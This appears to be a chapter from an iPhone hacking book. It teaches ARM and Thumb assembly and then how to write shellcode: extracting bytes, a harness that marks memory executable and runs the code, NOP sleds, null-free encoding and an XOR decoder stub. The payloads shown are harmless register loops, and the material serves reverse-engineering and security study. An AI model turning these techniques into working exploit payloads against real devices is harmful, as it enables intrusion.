CHAPTER

4

ARM Architecture and Assembly Language

To understand the iPhone at the lowest levels, it is necessary to understand the language that the processor on the device speaks. While the actual machine code the processor executes is probably too hard to comprehend, there is a one-to-one relationship between machine code and assembly instructions. Assembly language is simply a set of mnemonics which are easier to remember but which express exactly the actions of what the processor is capable of doing. Thus, to understand the iPhone, you need to understand ARM assembly language.

There are two main times when you're likely to need to understand ARM assembly. One is when investigating iPhone programs where the source is not available, that is, in reverse engineering. In this case, you need to know how to read assembly. The other case is when writing low level exploit payloads. In this situation, you need to know how to write ARM assembly.

In this chapter, you'll learn about the ARM architecture and the semantics of ARM assembly language. You will also see how to write simple programs in ARM assembly and how to compile them. Finally, it will be demonstrated how to extract the actual machine code from compiled object files, suitable for use in shellcode.

Keep in mind that this Chapter could easily encompass a whole book. We omit information that isn't relevant to our goal of breaking iPhones and simplify other topics, even sometimes at the expense of accuracy. Now that we've covered our butts, let's begin.

ARM Basics

The ARM processor is the most popular chip in PDA's and mobile phones, being the processor in 98% of mobile phones and 90% of embedded devices. The ARM is a Reduced Instruction Set Computer (RISC). In fact, ARM stands for Advanced RISC Machine. Having the RISC architecture typically means it has a few generic properties which we'll discuss in the following paragraphs. As Angelina Jolie said in the movie Hackers, "Indeed. RISC architecture is gonna change everything."

To start, RISC systems contain a large number of uniformly sized registers. In the case of the ARM chip, there are 15 general purpose 32-bit registers, plus the program counter available when the processor is operating in user mode. Since the main purpose of this chapter is to help read and write user space code, other operating modes of the process will be ignored.

The next aspect of the RISC architecture is that it uses a load/store model of data processing. This means that data processing operations work exclusively on registers, and not directly on memory. Therefore, data in memory must be loaded into registers before being operated upon and, if desired, the result must then be stored back into memory.

Finally, all instructions are exactly 32 bits in length. The exception to this rule is when the processor is operating in Thumb mode, more on this later. A consequence to uniform length instructions is that instructions are always 4-byte aligned.

Another feature of ARM systems that differ greatly from the x86 architecture is that in ARM, every instruction is conditional. The first four bits of the instruction indicate the condition that must be satisfied, if any. The bits 1110 indicate an instruction should always be executed. When viewed as a hex number, this corresponds to 14 or 0xe. An interesting result of the conditional bits and that each instruction being four bytes long is that it is easy to spot ARM machine code in memory. This is due to the fact that there is a very high occurrence of the hex number e at the beginning of every dword, see below.

```
(gdb) x/32x main
0x833c <main>:    0xe24dd010  0xe58de00c  0xe58d7008  0xe58d5004
0x834c <main+16>: 0xe58d4000  0xe28d7008  0xe24ddf8f  0xe507000c
0x835c <main+32>: 0xe5071010  0xe517300c  0xe3530002  0xca000011
0x836c <main+48>: 0xe59f33fc  0xe59f23fc  0xe79f1003  0xe08f0002
0x837c <main+64>: 0xe59f43f4  0xeb004694  0xe08f0004  0xe59f43ec
0x838c <main+80>: 0xeb004691  0xe08f0004  0xe59f43e4  0xeb004696
0x839c <main+96>: 0xe08f0004  0xeb004694  0xe3a03000  0xe5073018
0x83ac <main+112>:0xe5073014  0xea0000e4  0xe3a00fa6  0xeb004616
```

The only instruction that doesn't start with 0xe is the one at 0x8368, which happens to be a conditional branch,

```
0x8368 <main+44>:   bgt     0x83b4 <main+120>
```

All the other instructions are always executed.

Registers

The 32-bit, general purpose registers are labeled R0-R14, with the program counter sometimes being called R15. Some of the registers have special names which allude to their typical usage. R13 is known as SP or the stack pointer and points to the top of the program stack. R14 is referred to as LR or the link register. This is typically used to store return addresses of function calls. While these last two registers are often used in this manner, there is nothing to prevent their use as general purpose registers. It is also possible for a program to store the stack pointer or return address in some other register.

Another register that is important is Current Processor Status Register (CPSR) register. This register information about the status of the process, and serves the same role as the EFLAGS register in x86. It can not be accessed directly, with say a MOV instruction, but can be read or set with special instructions and is updated as the program executes. The flags are stored in the upper four bits of the CPSR register and control whether conditional instructions are executed. These four flags include

The negative flag (N). This flag contains the most significant bit of the last operation. If numbers are stored in two's compliment form, this will coincide with whether this value was positive or negative. To be precise, this bit is set if the last operation resulted in a negative value (most significant bit set) and is not set if the last operation resulted in a positive value.

The zero flag (Z). This flag indicates if the last operation resulted in a value of zero or not. This bit is set if the value was zero, and is cleared otherwise.

The carry flag (C). This flag is set if the most significant bit of the last operation required a carry, or in the case of subtraction, if a borrow was necessary.

The overflow flag (V). This flag indicates if the last operation resulted in a value that was too large to represent in 32-bits.

A variety of different instructions can change these flags, including arithmetic instructions, comparisons, moves, and logical instructions including shifts. Most instructions have forms which may or may not affect the flags in the CPSR. The instructions which affect the register will have the letter S appended to them. We'll get into the instructions in the ARM instruction set in a bit, but for example, this two instructions

```
MOV r12, r1
MOVS r12, r1
```

both move the value of the R1 register into R12. Only the second one modifies the flags in CPSR.

ARM instructions

ARM, being a RISC architecture, has very few instructions compared to a processor like x86. It is not too difficult to learn every single instruction in the ARM instruction set, although that is beyond the scope of this book. One of the drawbacks of having a smaller set of instructions is that it often takes a series of instructions to accomplish some act that might be possible in only one instruction in x86. Before you learn all the different instructions, it is first necessary to understand the way the instructions can be used and what form they may take.

Condition field

We've already mentioned the way instructions may affect CPSR by appending the letter S to it. Beyond this, each instruction may be executed only under certain conditions. This condition is called the condition field and is also appended to the instruction mnemonic (and placed before the S, if it is there). Some common condition code mnemonics include:

EQ: Equal (the zero flag is set)
GT: Greater Than
GE: Greater Than or Equal
HI: HIgher than
HS: Higher or Same
NE: Not Equal (the zero flag is clear)
LT: Less Than
LE: Less Than or Equal
LO: LOwer than
LS: Lower or Same

HI, HS, LO, LS operate on unsigned integers while GT, GE, LT, LE operate on signed integers. These comparisons are used after a comparison (CMP) instruction. For an example of a conditional instruction, the following instruction would only be executed if the zero flag is set:

```
MOVEQ R12, R1
```

Operands

Most instructions take an operand. This operand may have one of a few simple operations performed on it before the instruction is executed. Because of the way the processor is designed, these operations can be performed without any performance penalty. One such operation is a Logical Shift Left (LSL). This takes the value of the operand and shifts it by n bits. The lower order bits will be set to zero. Such an operation looks like this, in assembly:

```
MOV R12, R0, LSL #4
```

This instruction takes the value of R0, performs a LSL of 4 bits on it and places it in R12. The value of R0 is not changed. For example, if R0 had the value 0x12, then after this instruction, R12 would have the value 0x12 << 4 = 0x120. R0 would still be 0x12.

Another operation is the Logical Shift Right. It performs a shift to the right of n bits, replacing the highest order bits with 0. A similar operation is called Arithmetic Shift Right (ASR) which shifts the value by n bits but maintains the value of the highest bit. This means that the sign of the value remains the same.

Yet another possible operation is Rotate Right (ROR). This shifts the operand by n bits to the right. However, the least significant bits are then placed into the higher order bits of the resulting value. For example,

```
MOV R12, R0, ROR #4
```

Again, if we assume R0 = 0x12, then after this operation, R12 will contain the value 0x20000001.

Addressing mode

The ARM processor is specially designed to handle the special operands outlined above. Likewise, it is optimized in the way it can read from memory. These operations are called addressing mode or offset addressing. This allows for accessing memory from different offsets, including those that are computed using some of the operations used for operands. A few examples will illustrate this. The LDR instruction will be explained in the next section.

```
LDR R12, [R0]
```

The 32-bit dword at the address contained in the register R0 will be loaded into the register R12.

```
LDR R12, [R0, #4]
```

The 32-bit dword at the address R0+4 is loaded into R12. This is useful for data structures such as structures and unions.

```
LDR R12, [R0, R1]
```

The values in registers R0 and R1 are added and the resulting address is dereferenced and loaded into R12.

```
LDR R12, [R0, R1, LSL #4]
```

Here, the value in R1 is shifted to the left by 4 bits and added to the value of R0. The dword at the resulting address is loaded into R12.

In all the above examples, the “base register”, R0 was not changed. In order to speed up looping, it is possible to update the base register during these instructions. This is called Pre-Index addressing and is indicated with an exclamation mark. For example,

```
LDR R12, [R0, #4]!
```

will not only load the value at R0+4 into R12, but also updates R0 by adding four to it. In this way, efficient looping through memory can be accomplished. You can start to see how using very few arm instructions, you can perform quite a few operations.

Another way to update the base register is through Post-Index Addressing. Here, the offset is added to the base register after the memory is loaded. This is denoted by placing the brackets only around the register, and not the offset.

```
LDR R12, [R0], #4
```

Here, the dword at memory address R0 is placed into R12 and then R0 is incremented by 4. The difference between Pre-index and Post-index addressing has to do with when the offset is added to the base register. In the last example, this was before the memory was dereferenced, here it is after.

ARM Instruction set

Now that the forms of instruction mnemonics are understood, we'll take a look at some of the more common instructions you'll need or will encounter. For a complete listing, please consult [ARM REFERENCE]. In all of these, the form of the mneumonic will be expressed as something like

```
Op{cond}{S} <Rd>, <Rn>, <shifter_operand>
```

The `Op` will be the name of the instruction. The `{cond}` indicates an optional condition code. All items in brackets are optional. The `S` indicates whether CPSR will be updated. `Rd` indicates the destination register. `Rn` is a source register. Shifter_operand is some operand, as discussed above.

Arithmetic and instructions

ADD{<cond>}{S} <Rd>, <Rn>, <shifter_operand>
Adds a register (`Rn`) and an operand and stores it in a register (`Rd`). As discussed above, the shifter_operand may be either an immediate value, a register, or a register and an operation, such as LSL.

ADC{<cond>}{S} <Rd>, <Rn>, <shifter_operand>
Adds a register and an operand and the carry bit. This allows for the ability to perform multi-dword addition.

SUB{<cond>}{S} <Rd>, <Rn>, <shifter_operand>
Takes the value in Rn and subtracts the shifter_operand from it and stores it in Rd.

SBC{<cond>}{S} <Rd>, <Rn>, <shifter_operand>
The Subtract with carry instruction subtracts the shift operator and the logical not of the carry flag from the Rn register and stores it in Rd. This allows for the ability to perform multi-dword subraction.

MUL{<cond>}{S} <Rd>, <Rm>, <Rs>
Multiplies the values in Rm with Rs and stores it in Rd.

Logical instructions

AND{<cond>}{S} <Rd>, <Rn>, <shifter_operand>
Performs the bitwise AND of the contents of the register Rn along with the shifter operand.

EOR{<cond>}{S} <Rd>, <Rn>, <shifter_operand>
Performs the Exclusive OR (sometimes called XOR) between Rn and the operand.

MVN{<cond>}{S} <Rd>, <shifter_operand>
Generates the ones compliment of the operand and stores it in Rd.

ORR{<cond>}{S} <Rd>, <Rn>, <shifter_operand>
Performs the bitwise (inclusive) OR of Rn and the operand.

Comparison instructions

CMP{<cond>} <Rn>, <shifter_operand>
Updates the condition flags, based on the result of subtracting the operand from the register.

TEQ{<cond>} <Rn>, <shifter_operand>
This instruction updates the condition flags based on the result of logically exclusive-ORing the two values,

TST{<cond>} <Rn>, <shifter_operand>
Updates the condition flags based on the result of logically ANDing the two values

Control flow instructions

B{L}{<cond>} <target_address>
The B (Branch) instruction changes execution the program, like the jmp instruction in x86. BL does the same thing, except also sets the LR register to contain the return address of the branch, i.e. LR is set to the current program counter plus 4. The value of target_address is added to the current program counter, that is, this is a relative branch.

BX{<cond>} <Rm>
The BX (Branch and Exchange) instruction changes flow of execution. The difference between B and BX is that BX changes execution to the value in a register, so it is an absolute branch, not a relative one. Based on the least significant bit, execution can be switched to Thumb or ARM mode respectively.

More on this later in the Thumb section.

BLX{<cond>} <Rm>
Branch with Link and Exchange is just like BX except it also sets LR to have the return address of the call.

A very typical function call in ARM will use BL to an address. Then at the end of the function, it returns by calling BX LR. There is no explicit return instruction. However, the compiler is free to do almost anything it chooses. This might include calculating the address of a function and using BX, or even simply moving a new value into PC with the MOV instruction.

There is also the question of passing parameters to functions and observing return values. Again, a compiler can choose to do this however it likes, but the rules for this are specified in the ARM Architecture Proceedure Call Standard [AAPCS]. This document specifies that the first 4 arguments to functions are passed in the registers R0-R3. If there are more than 4 arguments, the remaining ones are passed on the stack. The return value is stored in the R0 register.

This same document specifies that the registers R0-R3, as well as R12, may be freely modified by any function. Functions should take care to return the other registers with the same values as were passed to it. This is usually done by storing these register's values on the stack at the beginning of the function and restoring them before the function returns.

Memory access instructions

LDR{<cond>} <Rd>, <addressing_mode>
Loads a dword (4 bytes) from the memory address specified. The address is specified using an address offsest, as discussed in a previous section.

LDR{<cond>}{S}B <Rd>, <addressing_mode>
Loads a byte from memory and zero extends it to 32-bits. If the LDRSB variant is used, it sign extends the byte. Notice, this "S" isn't referring to the CPSR, but whether it should sign extend the byte. A bit confusing!

LDR{<cond>}{S}H <Rd>, <addressing_mode>
Loads a word (two bytes) from memory and zero extends it to 32-bits. The LDRSH variant sign extends the word.

LDM{<cond>}<addressing_mode> <Rn>{!}, <registers>
The LDM (Load Multiple) instruction loads values from an address to a subset of all the general purpose registers as specified in <registers>. For example, it could be something like {R2,R4,R7-R9}. One thing to remember is that the order specified in this list of registers is irrelevant, they are always loaded in "numerical" order. This instruction allows many dwords to be read from

consecutive memory in a single instruction. There will be more on how this instruction works after the other memory instructions are described.

STR{<cond>} <Rd>, <addressing_mode>
Stores the contents of a register to a particular address in memory.

STR{<cond>}B <Rd>, <addressing_mode>
Stores the least significant byte of a register to an address in memory.

STR{<cond>}H <Rd>, <addressing_mode>
Stores the least significant word of a register to an address in memory.

STM{<cond>}<addressing_mode> <Rn>, <registers>
Stores the values of the registers listed in <registers> to consequtive dwords in memory beginning at Rn.

SWP{<cond>} <Rd>, <Rm>, [<Rn>]
The SWP (Swap) instruction loads the dword from the address stored in Rn and loads it into Rd. The value of Rm is stored at the address in Rn. If Rd and Rm are the same register, this instruction has the effect of swapping the contents of a register with the contents of memory at an address.

The LDM and STM instructions are particularly useful. These allow block transfers, that is, the loading and storing of multiple successive dwords from registers to memory in one instruction. These two instructions can take one of four suffixes which determine how the instruction operates. These suffixes are IA/IB (Increment After/Before) and DA/DB (Decrement After/Before). These indicate whether the base address should be incremented before or after loading/storing the values for this calculation. Consider the following simple example.

```
       adr     r0, thedata
       ldmia   r0, {r4-r5}
       ldmib   r0, {r4-r5}
  thedata:
       .word    0, 1, 2
```

Initially, R0 points to the memory containing the dwords 0, 1, 2. In the first load instruction, ldmia, the R0 is incremented *after* assigning values, such that R4 has the value 0 and R5 has the value 1. In the second instruction, ldmib, r0 is changed before assigning values such that R0 gets the value 1 and R2 gets the value 2. In neither case is the actual value of R0 changed, the changes are only temporary while loading the other registers. The value of the base register *can* be changed, if the exclamation mark is used to indicate Pre-Index addressing.

Interrupts

SWI{<cond>} <immed_24>
Causes a software interrupt exception. This allows transfer of execution to the kernel. For more information, see the section on system calls which follows shortly.

BKPT <immed_16>
This instruction causes a software breakpoint to occur. This is useful in the situation when you have an attached debugger and you wish to have your code stop execution and examine the state. The immediate value used is not used by the hardware but may be used by your debugger.

Status register transfer

MSR{<cond>} CPSR_<fields>, {#<immediate> | <Rm> }
This instruction (Move to Status Register) allows you to set the value of CPSR from an immediate or register.

MRS{<cond>} <Rd>, CPSR
This instruction can be used to store the value of CPSR into the register Rd for examination.

Here is an example taken from the ARM architecture reference []

```
MRS R0, CPSR                        ; Read the CPSR
BIC R0, R0, #0xF0000000             ; Clear the N, Z, C and V bits
MSR CPSR_f, R0                      ; Update the flag bits in the CPSR
                                    ; N, Z, C and V flags now all clear
```

In this example the first instruction moves the value of CPSR into the R0 register. The next instruction clears the N, Z, C, and V bits. The final instruction updates the flag bits in the CPSR register with the new (cleared) values.

As this example shows, there are still plenty of instructions which are not covered in this brief listing of instructions. However, the instructions outlined in this section allow you read close to 90% of generated ARM assembly and provide the tools necessary to write ARM assembly to do just about anything you want.

Thumb

In an effort to minimize the size of compiled code, recent ARM processors support Thumb mode. While in this mode, the processor executes Thumb instructions which are 16 bits in length. For the past six years, ARM processors

(supporting Thumb-2) also allow 32 bit Thumb instructions. Most of the Thumb instructions can me mapped directly to ARM instructions. The way that space is saved is by making some arguments to instructions implicit and limiting the number of possibilities of other instructions. One such limiting factor is that most instructions can only access half of the general purpose registers, namely R0-R7. Other changes include the set status flag is always on, i.e. all instructions will affect the CSFR register. Finally, instructions can no longer take advantage of built in shifts and rotates.

Looking at generic bytes of machine code, the processor has no way of guessing if it is ARM or Thumb code. The processor must keep track of whether it is in Thumb or ARM mode by a bit in the CSFR register. In GDB, this is indicated as the t flag of this register. Here the process is in ARM mode.

```
(gdb) print $cpsr
$1 = {0x60000010, n = 0, z = 1, c = 1, v = 0, q = 0, j = 0, ge = 0, e =
0, a = 0, i = 0, f = 0, t = 0,
  mode = usr}
(gdb) print $cpsr.t
$2 = 0
```

In order to switch from ARM to Thumb mode, when a branch instruction is encountered, the address of the branch will have the lowest bit set. Since all instructions, both ARM and Thumb, will be at least 2-byte aligned, this lowest bit is unused and so can be used to signify this transition. The least significant bit is set in the t flag of CPSR. So to transition from ARM to Thumb, call BX on a register which has its lowest bit set. Likewise, to transition from Thumb to ARM, call BX on a register without the lowest bit set.

Besides the minor differences in Thumb instructions mentioned above, reading Thumb assembly is very similar to ARM assembly. To see the difference, let us examine the following simple C program and contrast the corresponding ARM and Thumb assembly for it.

```
int main(int argc, char argv[]){
     int x=0;
     if(argc == 2){
            x++;
     }
     return x;
}
```

Compile this with the standard command line for iPhone development

```
/
Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/arm-apple-darwin
9-gcc-4.0.1  -isysroot
/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS2.2.sdk
-march=armv6 -mcpu=arm1176jzf-s -o test test.c
```

This will compile the program using the default ARM instruction set. Use your favorite disassembler to examine the function main.

```
$ otool -tv test
...
_main:
00002078     e92d4080       stmdb   sp!, {r7, lr}
0000207c     e28d7000       add     r7, sp, #0     ; 0x0
00002080     e24dd00c       sub     sp, sp, #12    ; 0xc
00002084     e58d0004       str     r0, [sp, #4]
00002088     e58d1000       str     r1, [sp]
0000208c     e3a03000       mov     r3, #0 ; 0x0
00002090     e58d3008       str     r3, [sp, #8]
00002094     e59d3004       ldr     r3, [sp, #4]
00002098     e3530002       cmp     r3, #2 ; 0x2
0000209c     1a000002       bne     0x20ac
000020a0     e59d3008       ldr     r3, [sp, #8]
000020a4     e2833001       add     r3, r3, #1     ; 0x1
000020a8     e58d3008       str     r3, [sp, #8]
000020ac     e59d3008       ldr     r3, [sp, #8]
000020b0     e1a00003       mov     r0, r3
000020b4     e247d000       sub     sp, r7, #0     ; 0x0
000020b8     e8bd8080       ldmia   sp!, {r7, pc}
```

The function takes 68 bytes of machine code. For the conditional, it performs the CMP instruction and then does a BNE based on the result. Now compile the program in Thumb mode. To do this, add the -mthumb option to the line used to compile the program used above. Disassembling the Thumb version results in 48 bytes of machine code.

```
_main:
00002078        b580       push    {r7, lr}
0000207a        af00       add     r7, sp, #0
0000207c        b083       sub     sp, #12
0000207e        ab01       add     r3, sp, #4
00002080        6018       str     r0, [r3, #0]
00002082        466b       mov     r3, sp
00002084        6019       str     r1, [r3, #0]
00002086        aa02       add     r2, sp, #8
00002088        2300       mov     r3, #0
0000208a        6013       str     r3, [r2, #0]
0000208c        ab01       add     r3, sp, #4
0000208e        681b       ldr     r3, [r3, #0]
00002090        2b02       cmp     r3, #2
00002092        d104       bne     0x209e
00002094        aa02       add     r2, sp, #8
00002096        ab02       add     r3, sp, #8
00002098        681b       ldr     r3, [r3, #0]
0000209a        3301       add     r3, #1
0000209c        6013       str     r3, [r2, #0]
0000209e        ab02       add     r3, sp, #8
000020a0        681b       ldr     r3, [r3, #0]
000020a2        1c18       mov     r0, r3         (add r0, r3, #0)
```

```
000020a4         b003       add     sp, #12
000020a6         bd80       pop     {r7, pc}
```

Looking at these two listing, the actual mnemonics used are almost identical, especially the important ones, such as setting x initially to zero (`mov r3, #0`), comparing argc to 2 (`cmp r3, #2`) and incrementing x (`add r3, #1`). The only real difference is the semantics of adding a constant value to a register

```
add r3, #1
```

versus

```
add r3, r3, #1
```

and the way ARM used stmdb and ldmia to store registers to the stack while Thumb used push and pop.

One other point to note is that in this case, the Thumb version is approximately 30% smaller than the ARM version. This isn't necessarily the case though, as a large number of the instructions in this program were not necessary. If we recompile with optimizations (-O3), we find a different story.

```
00002078     e3500002       cmp     r0, #2  ; 0x2
0000207c     13a00000       movne   r0, #0  ; 0x0
00002080     03a00001       moveq   r0, #1  ; 0x1
00002084     e12fff1e       bx      lr
```

for the ARM instructions and

```
00002078         2300       mov     r3, #0
0000207a         2802       cmp     r0, #2
0000207c         d001       beq     0x2082
0000207e         1c18       mov     r0, r3          (add r0, r3, #0)
00002080         4770       bx      lr
00002082         2301       mov     r3, #1
00002084         1c18       mov     r0, r3          (add r0, r3, #0)
00002086         4770       bx      lr
```

for the Thumb instructions. Under optimizations, the two take up the exact same number of bytes. This is because, even though the ARM instructions are twice as long, the use of conditional instructions can make the code smaller.

Writing and compiling assembly

Now that you know how to read ARM assembly, its time to start writing your own. The only reason people write code in assembly is to either write hand-optimized code or to write shellcode. We'll focus on the latter reason and show how to write some simple code and how to test it on your phone. Let's start by taking a look at a simple example.

```
 .globl _main
_main:
mov  r0, #1
mov  r1, #2
mov  r3, #3
mov  r4, #4
mov  r5, #5
```

```
mov  r6, #6
b    _main
```

The .globl directive specifies that the label `_main` should be global in scope, that is, it should be accessible to other functions (possibly in other files) as well as to the debugger. Another important directive, not used here, is .align `n` which aligns to the next `2^n` byte boundary.

This file defines the symbol `_main` and declares its scope to be global. This code simply sets some values to some registers inside an infinite loop. It's the hello world of ARM assembly programming!

You can compile this into an executable with the following command line

```
/
Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/arm-apple-darwin
9-gcc-4.0.1  -isysroot
/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS2.2.sdk
-march=armv6 -mcpu=arm1176jzf-s -o bytes bytes.s
```

Transfer the resulting binary to a jailbroken phone and see that it works.

```
(gdb) r
Starting program: /private/var/root/bytes
Reading symbols for shared libraries + done
^C
Program received signal SIGINT, Interrupt.
0x00002088 in main ()
(gdb) i r
r0             0x1  1
r1             0x2  2
r2             0x2ffff420   805303328
r3             0x3  3
r4             0x4  4
r5             0x5  5
r6             0x6  6
```

Yes, the registers are set as we would expect. This small assembly program can also be compiled for thumb. In order to do this, it is necessary to indicate that each function is actually a thumb function with the .thumb_func directive.

```
.globl _main
.thumb_func
_main:
mov  r0, #1
mov  r1, #2
mov  r3, #3
mov  r4, #4
mov  r5, #5
mov  r6, #6
b    _main
```

Compiling with the same command line gives the function main using thumb code.

```
00002078         2001       mov     r0, #1
0000207a         2102       mov     r1, #2
0000207c         2303       mov     r3, #3
0000207e         2404       mov     r4, #4
```

```
00002080         2505       mov     r5, #5
00002082         2606       mov     r6, #6
00002084         e7f8       b       0x2078
```

You can almost read the machine code!

Extracting and testing machine code

Since the point of writing assembly code is to generate shellcode, you need to see how to go from an assembly file to the raw bytes to inject into a process and how to test it all.

There are a few different approaches, but in general, the way to do it is to compile the assembly and extract the bytes. To make things slight easier, instead of compiling a binary, you can just compile an object file using GCC's –c flag. After that, the following Python script will extract the files from the generated object file and print the bytes in a form you could put in a C program.

```
import os
import sys
import struct

def shellcode_conv(name):
     f = file(name, 'rb');

     counter = 0
     done = 0
     out_string = "char shellcode[] = \""

     for line in f.readlines():
            for c in line:
                   counter += 1
                   if len(line) > counter+4:
                          if counter > 0x100 and done == 0:
                                 if struct.unpack("<I",
line[counter:counter+4])[0] < 0x1ff:
                                        done = 1
                                 out_string += "\\x%02X" % ord(c)

     print out_string + "\";"

if __name__ == '__main__':
     shellcode_conv(sys.argv[1]);
```

This script simply starts at file offset 0x100 which is where object code usually begins. It then reads bytes until a series of 00's are seen and prints them with formatting that a C compiler will like. Running this on our register setting program results in the following buffer.

```
$ python get_bytes.py bytes.o
char shellcode[] =
"\x01\x00\xA0\xE3\x02\x10\xA0\xE3\x03\x30\xA0\xE3\x04\x40\xA0\xE3\x05\x5
```

```
0\xA0\xE3\x06\x60\xA0\xE3\xF8\xFF\xFF\xEA";
```

In order to test the shellcode, the easiest way is to write a little program that will execute it on a jailbroken iPhone. The second easiest way is to include it in a zero-day Mobile Safari exploit, but we'll talk about that in a later chapter.

On the iPhone there can be no memory pages which are both writeable and executable. On a jailbroken phone, you can make a readable/writeable page become readable and executable, but you cannot do this on a factory phone. We use this fact to load and execute our shellcode on a jailbroken phone. The following C program will do just that.

```
#include <sys/mman.h>
#include <mach/vm_prot.h>
#include <mach/boolean.h>
#include <string.h>



char shellcode[] =
"\x01\x00\xA0\xE3\x02\x10\xA0\xE3\x03\x30\xA0\xE3\x04\x40\xA0\xE3\x05\x5
0\xA0\xE3\x06\x60\xA0\xE3\xF8\xFF\xFF\xEA";

int main(int argc, char *argv[]){
     unsigned char *buf = (unsigned char*)mmap(0, 1000,
PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
     memcpy(buf, shellcode, sizeof(shellcode));
     vm_protect( mach_task_self(), buf, 1000, FALSE, VM_PROT_READ |
VM_PROT_EXECUTE );
     printf("Shellcode located at %x\n", buf);

     void (*f)();
     f = (void (*)()) buf;
     f();
}
```

Running this program shows that the shellcode is running as before.

```
(gdb) r
Starting program: /private/var/root/tester
Reading symbols for shared libraries + done
Shellcode located at 8000
^C
Program received signal SIGINT, Interrupt.
0x00008008 in ?? ()
(gdb) i r
r0             0x1  1
r1             0x2  2
r2             0x2ffff40c   805303308
r3             0x3  3
r4             0x4  4
r5             0x5  5
r6             0x6  6
...
```

Common Tasks

Now that you know how to compile code, and write some simple code that sets registers, it is time to learn some more tricks. When writing assembly language, especially that which is intended to become shellcode, there are certain operations you must understand. This section lays out the most common tasks you will need and how to do them.

System calls

ARM supports many different types of exceptions. The one you are most interested in is the software interrupt exception, SWI. This allows user mode programs to pass execution to the kernel. As with function calls, arguments are passed in the registers R0-R3 and then on the stack. To indicate to the kernel which system call to perform, the system call number is passed in the R12 register. The system call numbers can be found from the file /usr/include/sys/syscall.h and are identical to the ones in the desktop version of Mac OS X. For example, the following assembly will call exit(0)

```
mov r0, #0
mov r12, #0x1   @ SYS_exit
swi 128
```

Loading high values

Since each instruction is no more than 4 bytes, loading 32 bit addresses into a register usually takes more than one instruction. Below are a couple of ways to load the value 0x12345678 into the register R0.

```
mov  r0, #0x12
mov  r0, r0, lsl #24
mov  r1, #0x34
add  r0, r0, r1, lsl #16
mov  r1, #0x56
add  r0, r0, r1, lsl #8
add  r0, r0, #0x78
```

Another way to do it is to intermix data with the instructions,

```
      bl     foo
      .long 0x12345678
_foo:
      ldr    r0, [lr]
```

Using this trick, LR is set to the address following the “subroutine” call, in this case to the address where 0x12345678 is stored. We load this value into R0 by dereferencing the address stored in LR. This more efficient way has the drawback of destroying LR, which will be problematic if LR was not previously saved to the stack.

Locating yourself

One of the first things shellcode normally does is locate where it is in memory. In x86, this is usually done by calling some offset and then reading the value of the return address off the stack. In ARM, it could be done in a similar fashion by reading LR. However, it is much easier than this, because PC can be read and written to in a generic fashion. So, if code needs to know where it is, it can simply do something like

```
mov r0, pc
```

NOPs

Another common thing needed is an instruction which doesn't do anything. This is useful if you aren't sure exactly where your code is going to be located but have a guess. In this case, you can preface your code with a long series of NOPs. The NOPs will get executed and then your actual shellcode. In x86 there is a one byte instruction which does this. In ARM, there is no explicit NOP. However, there are plenty of instructions which don't do anything. Below are some simple examples. One drawback is the instructions aren't one byte, like in x86. However, due to alignment issues, you know the instructions will be at least four byte aligned.

ARM NOP

```
e1a01001     mov     r1, r1
```

Thumb NOP

```
1c09         mov     r1, r1         (add r1, r1, #0)
```

For an added bonus, there are byte sequences which are both ARM and Thumb instructions, for example 03a0002e is in ARM

```
MOVEQ R0, #0x2e
```

and in Thumb is

```
LSLS r6, r5, #0
LSLS r0, r4, #0xe
```

These instructions aren't NOPs but they are guaranteed to execute and not crash which is really all that is usually necessary.

Zero-free shellcode

Oftentimes, the machine code needed for shellcode has some restrictions. One common restriction is that it can not contain null bytes. Writing shellcode that does not contain nulls in ARM can be tricky. Due to it having the RISC architecture, there aren't as many ways to perform a particular task. However, with a little work, most nulls can be eliminated by hand.

For example,

```
e3a00000     mov     r0, #0 ; 0x0
```

can be replaced with

```
e0411001     sub     r1, r1, r1
e1a00111     mov     r0, r1, lsl r1
```

Also, due to the compact nature of Thumb code, it is often easier to avoid nulls if the shellcode is written in Thumb instead of ARM assembly.

Encoding/Decoding shellcode

For small payloads, it may be possible to eliminate all the Null bytes by hand. However, for larger payloads, this may be impractical or impossible. In this case, one solution is to encode the real shellcode, and then have a zero-free stub decode the shellcode and then redirect execution to it. There are a few problems with this approach, but it is possible.

For an example, let us encode our simple register setting assembly we wrote in the last section. This shellcode does contain one null. The following assembly will attempt to decode an encoded version of it by XORing it with 0x55555555. The bytes have been manually encoded at the label in the program called "_encoded".

```
.text
.globl _foo
.globl _bar
_foo:
mov r1, #7   @ number of instructions to decode
mov r6, #1
mov r6, r6, lsl #24    @ r6 is used in a cmp later (to make it zero
free)
@ put 0x555555 in r4
mov r2, #85
mov r4, r2, lsl #24
add r4, r2, lsl #16
add r4, r2, lsl #8
add r4, r2

@ make r2 point to encoded shellcode
add r2, pc, #20

_loop:
ldr r3, [r2,#4]
eor r3, r4    @decode shellcode
str r3, [r2,#4]
add r2, r2, #4
sub r1, r1, #1
cmp r1, r6, lsr #25
bge _loop

_encoded:
.long 0xb6f55554
```

```
.long 0xb6f54557
.long 0xb6f56556
.long 0xb6f51551
.long 0xb6f50550
.long 0xb6f53553
.long 0xbfaaaaad
```

Testing this assembly code will be difficult. It needs the encoded bytes to be both writable (for decoding) and executable. As we discussed, RWX pages are not allowed on the iPhone. Nonetheless, in Chapter [PAYLOADS] you will learn a trick on how to actually be able to test this. When you do test it, you will find it doesn't do exactly what you would expect. It will likely crash or exit or something, but won't sit in an infinite loop setting register values as you would hope. This is because the ARM chip maintains an instruction cache. The shellcode changes the bytes in memory, but they are already cached in the instruction cache and the instructions in the cache are the ones actually executed. Those cached bytes are valid (useless) instructions and so the program will happily continue executing beyond them until something bad happens.

